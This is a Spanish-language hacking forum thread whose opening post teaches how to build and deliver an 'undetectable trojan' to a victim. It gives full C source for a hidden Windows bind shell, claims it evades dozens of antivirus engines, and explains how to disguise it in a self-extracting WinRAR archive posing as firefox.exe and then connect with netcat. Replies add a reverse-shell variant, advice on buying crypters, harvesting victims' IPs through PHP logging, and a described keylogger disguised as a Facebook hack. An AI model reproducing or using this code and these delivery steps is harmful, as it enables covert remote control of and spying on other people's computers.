Les traigo como hacer un troyano intetectable
1. Se bajan un programa llamado "DEV C++" que utilizaremos para crear nuestra shell ( si no sabes que es no importa sigue leyendo).
2. Ahora que ya está instalado buscamos por internet cualquier código que se llame "win32 bind shell" y luego creamos un nuevo proyecto con nuestro dev cpp, le decimos que será "windows mode" o modo ventana y le pegan el código encontrado:
Troyano casero indetectable
Si no encontraron nada no importa, acá les traigo una:
Código:
Citar
#include <winsock2.h>
#pragma comment(linker,"/ENTRY:WinMain"
int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int ){
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101, &HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
sa.sin_family = AF_INET;
sa.sin_port = 0x901F; // (USHORT)htons(8080);
sa.sin_addr.s_addr= 0x00; // htonl(INADDR_ANY);
bind(s, (struct sockaddr *) &sa, 16);
listen(s, 1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb = sizeof(si); // 0x44;
si.wShowWindow = SW_HIDE; // 0x00
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop = si.lpTitle = (char *) 0x0000;
si.lpReserved2 = NULL;
CreateProcess(NULL ,"cmd",NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}
Esta shell está programada para dejar un puerto abierto en el 8080, ahora debemos darle propiedades al proyecto y donde dice "argumentos" les saldrá un rectángulo al lado derecho y le pegan esto:
Cita:
Citar
../../../../Dev-Cpp/lib/libws2_32.a
../../../../Dev-Cpp/lib/libwsock32.a
Ahora le dan click en el botón que dice "compilar" y les generará su backdoor o troyano.
indetectable a:
AhnLab-V3 2011.05.08.00 2011.05.07 -
AntiVir 7.11.7.176 2011.05.06 -
Antiy-AVL 2.0.3.7 2011.05.08 -
Avast 4.8.1351.0 2011.05.07 -
Avast5 5.0.677.0 2011.05.07 -
AVG 10.0.0.1190 2011.05.07 -
BitDefender 7.2 2011.05.08 -
CAT-QuickHeal 11.00 2011.05.07 -
ClamAV 0.97.0.0 2011.05.07 -
Commtouch 5.3.2.6 2011.05.07 -
Comodo 8619 2011.05.08 -
DrWeb 5.0.2.03300 2011.05.08 -
eSafe 7.0.17.0 2011.05.05 -
eTrust-Vet 36.1.8312 2011.05.06 -
F-Prot 4.6.2.117 2011.05.08 -
F-Secure 9.0.16440.0 2011.05.08 -
Fortinet 4.2.257.0 2011.05.08 -
GData 22 2011.05.08 -
Ikarus T3.1.1.103.0 2011.05.07 -
Jiangmin 13.0.900 2011.05.05 -
K7AntiVirus 9.102.4584 2011.05.06 -
Kaspersky 9.0.0.837 2011.05.08 -
McAfee 5.400.0.1158 2011.05.08 -
McAfee-GW-Edition 2010.1D 2011.05.07 -
Microsoft 1.6802 2011.05.07 -
NOD32 6103 2011.05.07 -
Norman 6.07.07 2011.05.07 -
Panda 10.0.3.5 2011.05.07 -
PCTools 7.0.3.5 2011.05.06 -
Prevx 3.0 2011.05.08 -
Rising 23.56.05.03 2011.05.07 -
Sophos 4.65.0 2011.05.07 -
SUPERAntiSpyware 4.40.0.1006 2011.05.08 -
Symantec 20101.3.2.89 2011.05.08 -
TheHacker 6.7.0.1.189 2011.05.06 -
TrendMicro 9.200.0.1012 2011.05.07 -
TrendMicro-HouseCall 9.200.0.1012 2011.05.08 -
VBA32 3.12.16.0 2011.05.08 -
VIPRE 9218 2011.05.08 -
ViRobot 2011.5.7.4450 2011.05.07 -
VirusBuster 13.6.342.0 2011.05.07 -
antivirus infalible aun no existe, cuando exista me avisan para usarlo.
3.
Ahora que ya tenemos nuestro troyano indetectable no se lo podemos pasar así como así a la persona que se va a infectar, lo debemos ocultar con algo y para eso utilizaremos WINRAR, lo descargamos, lo instaladmos y cuando esté listo debemos conseguirnos cualquier programa, de lo que sea pero que se ejecute en un solo archivo, esto es para que cuando se ejecute el troyano también se ejecute ese programa y no levante sospechas.
Ahora para hacer todo mas fácil renombro ese programa a firefox.exe solamente ( si ustedes no pueden ver el .exe del programa no le pongan .exe otraves)
Ahora solo deben seleciconar el troyano mas el firefox y darle click donde dice "añadir al archivo", le damos click donde dice crear archivo autoejecutable o SFX y en opciones le damos en ocultar todo y en ejecución le decimos esto:
Citar
cmd /c bpid.exe && firefox.exe
Ruta de extracción le ponemos %homepath% para prevenir que nos salte el UAC de window 7
Ahora le damos en aceptar todo y tenemos nuestro archivo, si quieren ponerle íconos personalizados pueden buscar cualquier tutorial de como usar winrar autoejecutables.
4.
Ahora le damos ese archivo a la persona que vamos a infectar y cuando lo ejecute dejará un puerto abierto que es el 8080 y nos conectamos desde netcat:
Citar
nc -v IP_ACA 8080
y ya, nos saldrá la consola de su pc y ya con eso podemos hacerle de todo, mover archivos, subir o bajarle cosas etc y todo 100% indetectable.
Espero les haya gustado ;D
Amigo , tengo un spyware , generado por spynet, como lo podria hacer indetectable a ningun antivirus ? , espero respuestas con ansia
Cita de: MixGammers en 19 Enero 2014, 17:55 PM
Amigo , tengo un spyware , generado por spynet, como lo podria hacer indetectable a ningun antivirus ? , espero respuestas con ansia
Comprando un crypter
CitarAhora le damos ese archivo a la persona que vamos a infectar y cuando lo ejecute dejará un puerto abierto que es el 8080 y nos conectamos desde netcat:
Lo jodido es saber la ip, si no sabemos en que momento va a abrir el programa.. no?
CitarExcepción no controlada en 0x75BA70F4 (kernel32.dll) en Win32Project1.exe: 0xC0000005: Infracción de acceso al escribir en la ubicación 0x01282086.
Hola gracias por compartir tu código y experiencia con el foro. Te diré que logré compilarlo en DEV-C++ 4.9.9.2 bajo Windows Xp Pro Sp3 Español con las recomendaciones de:
Opciones de Proyecto>Parámetros>Linker ../Dev-Cpp/lib/libws2_32.a y ../Dev-Cpp/lib/libwsock32.a.
También resulta fácil cambiar el puerto 8080 0x901F con cualquier convertidor de decimal a hexadecimal siendo para el puerto 4444 0x5C11.
Luego de esto podemos correr nuestro ejecutable compilado y en una consola cmd hacer netstat -nabo >1.txt veremos que el puerto 8080 abierto por nuestro ejecutable sin problemas 0.0.0.0 8080.
Pero tenemos varios inconvenientes, al realizar la conexión, uno es que no sabemos cuando la victima lo ejecutara por lo que quizás sea mejor buscar variantes sobre reverse_tcp considerando que la mayoría usa firewall que monitorean mas las conexiones entrantes que las salientes, el ejecutable no corre en modo oculto así que solo sirve para fines educativos y finalmente al realizar la conexión con nc -vv 192.168.0.10 8080 al server se cerrará devolviendo el error
Warning: forward host lookup failed for xxx.xxxx.net: h_errno 11004: NO_DATA
xxx.xxxx.net [192.168.0.10] 8080 (?) open.
Entonces nada tenemos una base al parecer pero debemos seguir trabajando en ella para lograr mas. Quizas alguien se sume y de algunas soluciones o simplemente agregue su experiencias al probar el codigo.
Saludos
Cita de: MoonShadow en 18 Enero 2014, 15:25 PM
1. Se bajan un programa llamado "DEV C++" que utilizaremos para crear nuestra shell ( si no sabes que es no importa sigue leyendo).
2. Ahora que ya está instalado buscamos por internet cualquier código que se llame "win32 bind shell" y luego creamos un nuevo proyecto con nuestro dev cpp, le decimos que será "windows mode" o modo ventana y le pegan el código encontrado
Claro que si, con un par. Para que crear nuestros propios códigos si podemos usar el código de otro sin ni siquiera saber que estamos haciendo. Esa es la filosofía. Les felicito.
apoyo a xaps... XD te apuesto a que si no dices como conectarse los que lo copian, ni lo sabrán... solo empezando con
CitarSe bajan un programa llamado "DEV C++"
Jajajajaja claro, lo que pasa es que cuando le das el archivo, ya que estás le preguntas su ip, corres a tu pc y te conectas...! ufff.... lammer detected...
sirve para windows 8 ?
haste un video tuto por fa suena interesante
Un videotutorial está demás, es algo muy sencillo.
no sabia que se podia mezclar de esa forma createprocess con winsocks :D genial aunque el codigo no sea el tuyo gracias por el code
aunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional
Citaraunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional
Yo que se,, con poca cosa podes hacerlo conexión inversa, y ya de paso le pondría:
Enviar/Subir archivos, captura de pantalla y webcam. ;D
Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..
Bue,, eso nomas..
Saludos!! ;D
EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?
Cita de: Vaagish en 16 Febrero 2014, 07:20 AM
Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..
Bue,, eso nomas..
Saludos!! ;D
EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?
Lo que hace es redirigir la entrada salida del cmd al socket
Y eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile
un saludo Ark
CitarY eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile
Gracias Ark! Es verdad,, no pensé en eso de esa forma.. por ende, la sentencia encargada de tal tarea es:
SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
Yo la modifique un poco porque a mi no me funcionaba como estaba en el código,, pero igual no me funciona "a mi manera" tampoco.. estas son las cosas mas relevantes que cambie:
if (connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN)) == -1)
cout << "No conectado..";
ZeroMemory(&SI, sizeof(SI));
ZeroMemory(&PI, sizeof(PI));
SI.cb = sizeof(SI);
SI.wShowWindow = SW_HIDE;
SI.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
SI.lpDesktop = SI.lpTitle = 0x0000;
SI.lpReserved2 = NULL;
LPSTR szCmdline = "cmd.exe";
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&SI, &PI);
A ver si alguien se da cuenta por que no funciona,, y aclaro el problema: El socket conecta y envía la linea de comandos,, pero si le envio una tarea, ej: "netstat" ya no responde, pero sigue conectado.. o si alguien sabe como depurar ese proceso hijo, me sirve también..
Tienes que duplicar el descriptor, en sistemas Posix son 0 1 2, luego en el descriptor del socket y duplicarlo con dup2 a esos descriptores, tendras que buscar la equivalencia en Windows.
Un saludo.
Me mataste.. jaja Descriptor = Handle?
Si jaja, si quieres un ejemplo en Posix y ASM dilo.
Un saludo
Sip,, me sirve.. Le estoy dando con todo (OllyDbg, depurando con VS, logica),, pero no estoy ni cerca jaja
Gracias!!
Estaba leyendo la msdn y por lo que e visto tambien soporta dup2, en Windows es llamada _dup2.
http://msdn.microsoft.com/en-us/library/8syseb29.aspx
No hace falta que escriba una, recuerdo haber posteado una reverse shell en Bugs y Exploits pero para un sistema orientado a BSD, pero puedes guiarte, tiene algun tiempo podria hacer una mejor, pero esa ya te vale.
http://foro.elhacker.net/bugs_y_exploits/reverse_shell_unixlike-t380545.0.html
Un saludo.
Citarhttp://foro.elhacker.net/bugs_y_exploits/reverse_shell_unixlike-t380545.0.html
;-)
No entiendo un pomo a simple vista.. pero me va a servir! No sabia de _dup,, me ayudo a ver que no se copia el handle a la estructura STARTUPINFO
Bueno,, a ver como se resuelve esto.. luego actualizo :P
Gracias cpu! Saludos!
@cpu2 probe con eso que me decías del handle,, pero me parece que no es eso,, o al menos los valores se copian.. investigue que en windows también existe la función DuplicateHandle (con la cual también probé, pero no me funciona aun)
Así esta todo el código.. si alguien quiere revisarlo,, ;D
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#define PORT 8080
#define IP "127.0.0.1"
#define DEFAULT_BUFLEN 510
#include <iostream>
using namespace std;
// ESTRUCTURAS PARA SOCKET
WSADATA WSA; //--> ESTRUCTURA WSADATA;
SOCKET Socket; //--> VARIABLE DE TIPO SOCKET
SOCKADDR_IN SA_IN; //--> ESTRUCTURA SOCKADDR_IN
// ESTRUCTURAS PARA PROCESOS
STARTUPINFOA SI;
PROCESS_INFORMATION PI;
// ---------------------------------------------------
int main()
{
// SOCKET
WSAStartup(MAKEWORD(2, 2), &WSA);
Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
SA_IN.sin_family = AF_INET;
SA_IN.sin_port = htons(PORT);
SA_IN.sin_addr.s_addr = inet_addr(IP);
connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN));
// ---------------------------------------------------------------
SI.cb = sizeof(SI);
SI.wShowWindow = SW_HIDE;
SI.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
SI.lpDesktop = SI.lpTitle = 0x0000;
SI.lpReserved2 = NULL;
SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
LPSTR szCmdline = "cmd.exe";
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI);
return 0;
}
No estoy acostumbrado a la API de Win, pero por lo que veo todo parece estar bien.
Como puedes observar en mi codigo, conecto duplico los descriptores y ejecuto la consola. Que server estas usando? yo cuando probe mi reverse shell utilize netcat.
Un saludo.
AWWGGRR!! El problema es el server si.. con netcat funciona.. creo que existe el código de nc,, tendría que ver por que mi cliente no mantiene la conexión estable..
Gracias!! Saludos!!
No el servidor, recuerda que es conexion inversa. Netcat es polifacetico puedes hacer mil cosas con el, hasta un server, por eso te dije.
E igualmente siempre puedes usar un Linux o un BSD, descargarte el source de netcat "nc" y modificarlo y crearte el propio server a partir de netcat jeje. Solo es una idea.
Un saludo.
me suena un cliente para esa reverse shell (o muy parecida) en vb6..... pero el link no funciona
Citarhttp://foro.elhacker.net/programacion_visual_basic/reverse_shell-t304798.0.html
creía recordar que tenía ese code....pero no lo he encontrado..........
el mail del autor lo encuentras fijos y el code lo tiene algun mod fijo.......
si el problema lo tienes con el cliente en .net........
el debug que ofrece m$ es muy bueno....no.....noooo?
Muy bueno,
lo jodido es no poder saber la IP de la victima,
¡Gracias por la info bro!
Gracias por compartir los códigos me sirvieron de mucha ayuda, debido a que soy un Newie en esto.
Bueno para que vean lo bueno que soy.. Me cree una cuenta para responder aqui xD
Mi sistema para obtener las IP es mediante un Php que las agarra y me genera un Log... Lo quieren? pues hagan buen uso de el Google.com (http://adf.ly/fXPdz) Esta Por demas detellado por si tienen dudas o algo se las pueden auto responeder
(PSD: por que los emoticones son morenos? :laugh:)
Edit: Recien leeo y agregue una linea de mas... pense q la tenia borrada:
$useragent = $_SERVER['HTTP_USER_AGENT'];
@Jing~Jang No entiendo tu respuesta..
Me parece que queres ganar dinero con esa acortada de URL nada mas.. Que tiene que ver ese codigo en C++ con tu codigo PHP? Aparte con ese metodo podras saber la IP Publica, no la privada.. :rolleyes:
Saludos!
PD: Los códigos se ponen en el foro,, para eso están las etiquetas
Estoy acostumbrado al Adf Sorry :rolleyes:
Dime que forma se te ocurre de obtener la IP... La mejor idea es con un PHP. El programa se lo tendran que descargar de algun lado.. Si lo hacen podrias poner el php este y ponere una redireccion al link de descarga por lo tanto lo bajan y se guarda La IP y si lo quieres que obtenga otra cosa podrias modificarlo... Si conoces Php con esto tienes servido todo
PSD: Si quisiera ganar "dinero" no utilizaría algo que me de 0,007 centavos :)
hola Jing~Jang, pues... si están con windows y sockets, seguiría con sockets... porqué no redireccionar la salida del comando ipconfig a un archivo y usar el protocolo smtp para enviarlo a un servidor noip?
saludos
CitarEl programa se lo tendran que descargar de algun lado.. Si lo hacen podrias poner el php este y ponere una redireccion al link de descarga por lo tanto lo bajan y se guarda La IP
Bien pensado,, no lo imagine de esa forma.. pero tenemos el problema de la ip publica, capaz me equivoco, pero me parece que no.. con la ip publica esta shell remota no funcionaria.. yo ya la modifique para que sea conexión inversa, con unas pocas lineas de código.. (el único gran problema es que ya no queda tan indetectable, los AV's sospechan menos de un puerto abierto que un puerto abierto y una conexión)
Bueno,, con lo de ganar dinero de Adf.. un poquito acá,, un poquito allá.. no es la idea? :rolleyes:
Saludos!
No quiero presumir...
Estoy en la creacion de un virus el cual toma capturas de pantalla cada 90 segundos. Y tiene un Keylogger. Para camuflarlo yo arme "Un hack para cuentas de facebook" Obvio que no funciona. Al descargar "hack" Se abre un instalador y en el medio abre la shell o consola de Windows e "instala cosas" obvio que son textos falsos. Y Al tiempo que lo hace muestra toda la informacion de sistema y toma fotos del proceso ese. Las imagenes se alamacenan en un servidor remoto y Log del Keylogger queda guardado, El virus busca actualisaciones automaticas en cada encendido de sistema.
Podrian ingeniarselas para hacer consultas mediante la web antes de descargarlo para descargarlo y que les de el permiso para obtener la mayor cantidad de datos posibles. Sin necesidad de hacer algo como lo mio. Consultas hacia la PC mediante Php te pueden dar muchos datos...
(Lo que estoy armando solo lo di como idea para ustedes)
Y Por lo de Adf. Esa es la idea. Pierdes 5 segundos. Me ayudas y te ayudo :)
;D ese codigo es más viejo que yo :o Es de cuando aún no existian los routers y te tenias que connectar directamente a internet. Adaptenlo para connexión inversa, jeje.
Y el que no sepa o no quiera aquí tienen un par de troyanos de connexión inversa en softwaredan.es.tl Un saludo.
Necesito contactar con usted. Me urge una respuesta. pero no se como contactar por privado. gracias